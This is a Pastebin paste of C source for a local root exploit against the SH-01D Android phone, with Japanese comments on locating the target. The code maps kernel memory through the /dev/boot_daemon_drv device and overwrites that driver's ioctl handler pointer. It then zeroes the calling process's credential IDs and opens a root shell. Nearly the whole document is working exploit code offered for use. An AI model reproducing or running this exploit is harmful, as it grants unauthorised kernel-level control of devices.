Advertisement
goroh_kun

SH-01Dのshbootgetroot改造

Feb 22nd, 2012
588
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 14.83 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdint.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <fcntl.h>
  6. #include <errno.h>
  7. #include <sys/stat.h>
  8. #include <fcntl.h>
  9. #include <sys/mman.h>
  10. #include <sys/ioctl.h>
  11. #include "kexec.h"
  12.  
  13. typedef struct mapinfo mapinfo;
  14.  
  15. struct mapinfo {
  16.     mapinfo *next;
  17.     unsigned start;
  18.     unsigned end;
  19.     char perm[8];
  20.     char name[1024];
  21. };
  22.  
  23. // 6f000000-6f01e000 rwxp 00000000 00:0c 16389419   /android/lib/libcomposer.so
  24. // 012345678901234567890123456789012345678901234567890123456789
  25. // 0         1         2         3         4         5
  26.  
  27. static int read_mapinfo(FILE *fp, mapinfo* mi)
  28. {
  29.     char line[1024];
  30.     int len;
  31.  
  32. skip:
  33.     if(fgets(line, 1024, fp) == 0) return -1;
  34.  
  35.     len = strlen(line);
  36.     if(len < 1) return -1;
  37.     line[--len] = 0;
  38.  
  39.     if(mi == 0) return -1;
  40.  
  41.     mi->start = strtoul(line, 0, 16);
  42.     mi->end = strtoul(line + 9, 0, 16);
  43.     strncpy(mi->perm, line + 18, 4);
  44.  
  45.     if(len < 50) {
  46.         goto skip;
  47.     } else {
  48.         strcpy(mi->name, line + 49);
  49.     }
  50.  
  51.     return 0;
  52. }
  53.  
  54. static mapinfo *search_maps(const char* perm, const char* name)
  55. {
  56.     char tmp[128];
  57.     FILE *fp;
  58.     mapinfo *mi;
  59.    
  60.     fp = fopen("/proc/self/maps", "r");
  61.     if(fp == 0) return 0;
  62.    
  63.     mi = calloc(1, sizeof(mapinfo) + 16);
  64.  
  65.     while(!read_mapinfo(fp, mi)) {
  66.         if(!strcmp(mi->perm, perm) && !strcmp(mi->name, name)){
  67.             fclose(fp);
  68.             return mi;
  69.         }
  70.     }
  71.  
  72.     fclose(fp);
  73.     free(mi);
  74.     return 0;
  75. }
  76.  
  77. static const char const pattern_setuid[] = {
  78.     0xD5,0x70,0xA0,0xE3, // MOV     R7, #0xD5
  79.     0x00,0x00,0x00,0xEF, // SVC     0
  80. };
  81.  
  82. static char* search_pattern(mapinfo *mi, const char* const pattern, int len)
  83. {
  84.     char* addr = (char*)mi->start;
  85.     for (addr = (char*)mi->start; addr < (char*)mi->end; addr++){
  86.         if(addr[0] != pattern[0]) continue;
  87.         if (memcmp(addr, pattern, len) == 0) {
  88.             return addr;
  89.         }
  90.     }
  91.     return 0;
  92. }
  93.  
  94. void memdump(char* addr, int num)
  95. {
  96.     int i, j;
  97.     int n = (num + 15) / 16;
  98.     for (j=0; j<n; j++){
  99.         printf("%08x : ", addr);
  100.         for(i=0; i<16; i++){
  101.             printf("%02x ", *addr++);
  102.         }
  103.         addr -= 16;
  104.         for(i=0; i<16; i++){
  105.             if (*addr>=0x20 && *addr<0x80) {
  106.                  printf("%c", *addr);
  107.             } else {
  108.                 printf(".");
  109.             }
  110.             addr++;
  111.         }
  112.         printf("\n");
  113.     }
  114. }
  115.  
  116. static pid_t uid; //set in main function
  117. static gid_t gid; //set in main function
  118. unsigned long taskstruct[1024]; //for dump stack after ioctl in usermode
  119.  
  120. static inline void *get_stack_top()
  121. {
  122.     void stack;
  123.     return (void*)(((unsigned int)&stack) & ~0x3fff);
  124. }
  125.  
  126. static inline void *get_current()
  127. {
  128.     return *(void **)get_stack_top();
  129. }
  130.  
  131. static void update_cred()
  132. {
  133.     uint32_t    i;
  134.     uint32_t    *task = get_current(); /* Pointer to the task_struct */
  135.     uint32_t    *cred = 0;
  136.    
  137.     for (i = 0; i < 1024; i++)
  138.     {
  139.         taskstruct[i] = task[i];
  140.         cred = (uint32_t *)task[i];
  141.         if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
  142.             cred++; /* Get ride of the cred's 'usage' field */
  143.                 if (cred[0] == uid && cred[1] == gid
  144.                     && cred[2] == uid && cred[3] == gid
  145.                     && cred[4] == uid && cred[5] == gid
  146.                     && cred[6] == uid && cred[7] == gid)
  147.                 {
  148.                 /* Get root */
  149.                     cred[0] = cred[2] = cred[4] = cred[6] = 0;
  150.                         cred[1] = cred[3] = cred[5] = cred[7] = 0;
  151.                 break;
  152.                 }
  153.         }
  154.     }
  155. }
  156.  
  157. long getroot_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
  158. {
  159. #if 0
  160.     char* addr = (char*)arg;
  161.     addr[0] = 0;
  162. #else
  163.     update_cred();
  164. #endif
  165.     return 0;
  166. }
  167.  
  168. // goroh_kun wrote:
  169. //
  170. // (1)ダンプしたテキスト内で以下の文字列を探します
  171. //
  172. // deadline
  173. //
  174. // ※その0x70ぐらい上にnoopが見える箇所です。
  175. //
  176. // (2)その0x400ぐらい下に以下のバイトパターンが存在する
  177. // 24 01 00 00 xx xx xx c0 00 00 00 00 xx xx xx c0 00 00 00 00
  178. // 24 01 00 00 xx xx xx c0 00 00 00 00 xx xx xx c0 00 00 00 00
  179. // 24 01 00 00 xx xx xx c0 00 00 00 00 00 00 00 00 00 00 00 00
  180. //
  181. // (3)その次の xx xx xx c0がshboot_daemon_readのアドレスです。
  182. // (4)(3)の次のxx xx xx c0がshboot_daemon_writeのアドレスです。
  183. // (5)次しばらく0が続いて、次のxx xx xx c0がshboot_daemon_mmap,shboot_daemon_open
  184. // (6)shboot_daemon_mmapの一個前の00 00 00 00がcompat_ioctl,その一個前の00 00 00 00が
  185. // unlocked_ioctl関数のポインタになります。
  186. //
  187. // このunlocked_ioctlのデータにパッチを当てるのが良いと思います。
  188. // 既に/dev/boot_daemon_drvはopen済みですし。
  189. //
  190. // オススメは、shbootgetrootプログラム内にroot取得関数をおいておき、
  191. // その関数のアドレスを書いてしまうのが良いと思います。
  192. //
  193. // そうすれば、/dev/boot_daemon_drvのfdに対してioctlした段階で、root取得関数が
  194. // 呼ばれるようになります。
  195. //
  196. unsigned long patch_mem(unsigned int* mem, unsigned long length)
  197. {
  198.     char* addr = (char*)mem;
  199.     while(addr < (char*)mem + length - 136) {
  200.  
  201.         if (
  202. /*
  203.             addr[  0] == 0x24 && addr[  1] == 0x01 && addr[  2] == 0x00 && addr[  3] == 0x00 &&
  204.                                                                            addr[  7] == 0xc0 &&
  205.             addr[  8] == 0x00 && addr[  9] == 0x00 && addr[ 10] == 0x00 && addr[ 11] == 0x00 &&
  206.                                                                            addr[ 15] == 0xc0 &&
  207.             addr[ 16] == 0x00 && addr[ 17] == 0x00 && addr[ 18] == 0x00 && addr[ 19] == 0x00 &&
  208.             addr[ 20] == 0x24 && addr[ 21] == 0x01 && addr[ 22] == 0x00 && addr[ 23] == 0x00 &&
  209.                                                                            addr[ 27] == 0xc0 &&
  210.             addr[ 28] == 0x00 && addr[ 29] == 0x00 && addr[ 30] == 0x00 && addr[ 31] == 0x00 &&
  211.                                                                            addr[ 35] == 0xc0 &&
  212.             addr[ 36] == 0x00 && addr[ 37] == 0x00 && addr[ 38] == 0x00 && addr[ 39] == 0x00 &&
  213.             addr[ 20] == 0x24 && addr[ 21] == 0x01 && addr[ 22] == 0x00 && addr[ 23] == 0x00 &&
  214.                                                                            addr[ 27] == 0xc0 &&
  215.             addr[ 28] == 0x00 && addr[ 29] == 0x00 && addr[ 30] == 0x00 && addr[ 31] == 0x00 &&
  216. */
  217.             addr[ 32] == 0x00 && addr[ 33] == 0x00 && addr[ 34] == 0x00 && addr[ 35] == 0x00 && //(owner)
  218.             addr[ 36] == 0x00 && addr[ 37] == 0x00 && addr[ 38] == 0x00 && addr[ 39] == 0x00 && //(llseek)
  219.                                                                            addr[ 43] == 0xc0 && //shboot_daemon_read
  220.                                                                            addr[ 47] == 0xc0 && //shboot_daemon_write (-0xc8)
  221.             addr[ 48] == 0x00 && addr[ 49] == 0x00 && addr[ 50] == 0x00 && addr[ 51] == 0x00 && //(aio_read)
  222.             addr[ 52] == 0x00 && addr[ 53] == 0x00 && addr[ 54] == 0x00 && addr[ 55] == 0x00 && //(aio_write)
  223.             addr[ 56] == 0x00 && addr[ 57] == 0x00 && addr[ 58] == 0x00 && addr[ 59] == 0x00 && //(readdir)
  224.             addr[ 60] == 0x00 && addr[ 61] == 0x00 && addr[ 62] == 0x00 && addr[ 63] == 0x00 && //(poll)
  225.             addr[ 64] == 0x00 && addr[ 65] == 0x00 && addr[ 66] == 0x00 && addr[ 67] == 0x00 && //(ioctl)
  226.             addr[ 68] == 0x00 && addr[ 69] == 0x00 && addr[ 70] == 0x00 && addr[ 71] == 0x00 && //(unlocked_ioctl)
  227.             addr[ 72] == 0x00 && addr[ 73] == 0x00 && addr[ 74] == 0x00 && addr[ 75] == 0x00 && //(compat_ioctl)
  228.                                                                            addr[ 79] == 0xc0 && //shboot_daemon_mmap (-0x120)
  229.                                                                            addr[ 83] == 0xc0 && //shboot_daemon_open (-0x164)
  230.             addr[ 84] == 0x00 && addr[ 85] == 0x00 && addr[ 86] == 0x00 && addr[ 87] == 0x00 && //(flush)
  231.                                                                            addr[ 91] == 0xc0 && //shboot_daemon_release (-0x140)
  232.             addr[ 92] == 0x00 && addr[ 93] == 0x00 && addr[ 94] == 0x00 && addr[ 95] == 0x00 && //(fsync)
  233.             addr[ 96] == 0x00 && addr[ 97] == 0x00 && addr[ 98] == 0x00 && addr[ 99] == 0x00 && //(aio_fsync)
  234.             addr[100] == 0x00 && addr[101] == 0x00 && addr[102] == 0x00 && addr[103] == 0x00 && //(fasync)
  235.             addr[104] == 0x00 && addr[105] == 0x00 && addr[106] == 0x00 && addr[107] == 0x00 && //(lock)
  236.             addr[108] == 0x00 && addr[109] == 0x00 && addr[110] == 0x00 && addr[111] == 0x00 && //(sendpage)
  237.             addr[112] == 0x00 && addr[113] == 0x00 && addr[114] == 0x00 && addr[115] == 0x00 && //(get_unmapped_area)
  238.             addr[116] == 0x00 && addr[117] == 0x00 && addr[118] == 0x00 && addr[119] == 0x00 && //(check_flags)
  239.             addr[120] == 0x00 && addr[121] == 0x00 && addr[122] == 0x00 && addr[123] == 0x00 && //(flock)
  240.             addr[124] == 0x00 && addr[125] == 0x00 && addr[126] == 0x00 && addr[127] == 0x00 && //(splice_write)
  241.             addr[128] == 0x00 && addr[129] == 0x00 && addr[130] == 0x00 && addr[131] == 0x00 && //(splice_read)
  242.             addr[132] == 0x00 && addr[133] == 0x00 && addr[134] == 0x00 && addr[135] == 0x00    //(setlease)
  243.         ) {
  244.             printf("addr=%08x\n", addr);
  245.             fflush(stdout);
  246.             unsigned long *p_read    = (unsigned long*)(addr[40] + (addr[41]<<8) + (addr[42]<<16) + (addr[43]<<24));
  247.             unsigned long *p_write   = (unsigned long*)(addr[44] + (addr[45]<<8) + (addr[46]<<16) + (addr[47]<<24));
  248.             unsigned long *p_mmap    = (unsigned long*)(addr[76] + (addr[77]<<8) + (addr[78]<<16) + (addr[79]<<24));
  249.             unsigned long *p_open    = (unsigned long*)(addr[80] + (addr[81]<<8) + (addr[82]<<16) + (addr[83]<<24));
  250.             unsigned long *p_release = (unsigned long*)(addr[88] + (addr[89]<<8) + (addr[90]<<16) + (addr[91]<<24));
  251.             printf("read=%08x\n", p_read);
  252.             printf("write=%08x (%08x)\n", p_write, p_read - p_write);
  253.             printf("mmap=%08x (%08x)\n", p_mmap, p_read - p_mmap);
  254.             printf("open=%08x (%08x)\n", p_open, p_read - p_open);
  255.             printf("release=%08x (%08x)\n", p_release, p_read - p_release);
  256.             fflush(stdout);
  257.  
  258. //#define GETROOT_NEED_CHECK_ADDRESS_OFFSET
  259. #ifdef GETROOT_NEED_CHECK_ADDRESS_OFFSET
  260.             if (p_read - p_write == 0xc8 && p_read - p_mmap == 0x120 &&
  261.                 p_read - p_open == 0x164 && p_release - p_open == 0x140) {
  262. #endif
  263.                 printf("found at %08x\n", (addr));
  264.                 fflush(stdout);
  265.  
  266.                 memdump((char*)(addr+32), 0x68);
  267.                 fflush(stdout);
  268.  
  269.                 addr[68] = (unsigned long)&getroot_ioctl & 0xff;
  270.                 addr[69] = ((unsigned long)&getroot_ioctl>>8) & 0xff;
  271.                 addr[70] = ((unsigned long)&getroot_ioctl>>16) & 0xff;
  272.                 addr[71] = ((unsigned long)&getroot_ioctl>>24) & 0xff;
  273.                 return (unsigned long)(addr + 68);
  274.  
  275. #ifdef GETROOT_NEED_CHECK_ADDRESS_OFFSET
  276.             }
  277. #endif
  278.             printf("\n");
  279.         }
  280.         addr += 4;
  281.     }
  282.     return -1;
  283. }
  284.  
  285. int callback(void *data, int nr, char *str, unsigned long targetbase, unsigned long targetlength)
  286. {
  287.     unsigned long addr;
  288.     int fd = open("/dev/boot_daemon_drv", O_RDWR);
  289.     printf("mmap base=%08x length=%08x\n", targetbase, targetlength);
  290.     if(fd < 0){
  291.         printf("open failed \"%s\"(%d)\n", strerror(errno), errno);
  292.         return 0;
  293.     }
  294.  
  295.     addr = 0x10000000;
  296.     unsigned int *mem = (unsigned int*)mmap(
  297.         (void*)addr, targetlength, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED, fd, targetbase);
  298.     if(mem == MAP_FAILED)
  299.     {
  300.         printf("mmap error %08X \"%s\"(%d)\n", targetbase, strerror(errno), errno);
  301.     } else {
  302.  
  303.         char buf[0x4000];
  304.         int fdmap = open("/proc/self/maps", O_RDONLY);
  305.         int ret = read(fdmap, buf, sizeof(buf));
  306.         write(0, buf, ret);
  307.         fflush(stdout);
  308.         close(fdmap);
  309.  
  310.         printf("mem=%08x\n", mem);
  311.         fflush(stdout);
  312.  
  313.         unsigned long patch = patch_mem(mem, targetlength);
  314.         if (patch != -1) {
  315.             if (munmap(mem, targetlength)) {
  316.                 printf("munmap error \"%s\"(%d)\n", strerror(errno), errno);
  317.             } else {
  318.                 printf("munmaped\n");
  319.             }
  320.             fflush(stdout);
  321.  
  322.             usleep(100000);
  323.  
  324. #if 0
  325.             char* setuidaddr = 0;
  326.             mapinfo *mi;
  327.             mi = search_maps("r-xp", "/system/lib/libc.so");
  328.             if(mi) {
  329.                 printf("found maps libc.so\n");
  330.                 fflush(stdout);
  331.                 setuidaddr = search_pattern(mi, pattern_setuid, sizeof(pattern_setuid));
  332.                 if(setuidaddr != 0) {
  333.                     printf("addr=%08x\n", setuidaddr-4);
  334.                     memdump((void*)(setuidaddr-4), 0x20);
  335.                     fflush(stdout);
  336.  
  337.                     int i;
  338.                     for (i=0; i<0x20; i++) {
  339.                         if (ioctl(fd, 0, setuidaddr-4+i)) {
  340.                             printf("ioctl error \"%s\"(%d)\n", strerror(errno), errno);
  341.                         }
  342.                     }
  343.                     printf("\n");
  344.                     memdump((void*)(setuidaddr-4), 0x20);
  345.                     fflush(stdout);
  346.                 }
  347.                 free(mi);
  348.             }
  349. #else
  350.             ioctl(fd, 0, 0);
  351. #endif
  352.  
  353.             usleep(100000);
  354.  
  355.             *mem = (unsigned int*)mmap(
  356.                 (void*)addr, targetlength, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED, fd, targetbase);
  357.             if(mem == MAP_FAILED) {
  358.                 printf("re-mmap error %08X \"%s\"(%d)\n", targetbase, strerror(errno), errno);
  359.             } else {
  360.                 printf("remmaped\n");
  361.                 char* a = (char*) patch;
  362.                 memdump((char*)(a-36), 0x68);
  363.                 printf("\n");
  364.                 a[0] =0;
  365.                 a[1] =0;
  366.                 a[2] =0;
  367.                 a[3] =0;
  368.                 printf("re-patched\n");
  369.                 memdump((char*)(a-36), 0x68);
  370.                 printf("\n");
  371.             }
  372.             execl("/bin/sh", "/bin/sh", "-i", NULL);
  373.             close(fd);
  374.             return 0;
  375.         }
  376.  
  377.         if (munmap(mem, targetlength)) {
  378.             printf("munmap error \"%s\"(%d)\n", strerror(errno), errno);
  379.         }
  380.  
  381.         if (close(fd)) {
  382.             printf("close error \"%s\"(%d)\n", strerror(errno), errno);
  383.         }
  384.  
  385.         return -1;
  386.     }
  387.     close(fd);
  388.     return 0;
  389. }
  390.  
  391. int main(int argc, char** argv)
  392. {
  393.     uid = getuid();
  394.     gid = getgid();
  395.     setresuid(uid, uid, uid);
  396.     setresgid(gid, gid, gid);
  397.  
  398.     kexec_iomem_for_each_line("Kernel data", callback, 0);
  399.     return 0;
  400. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement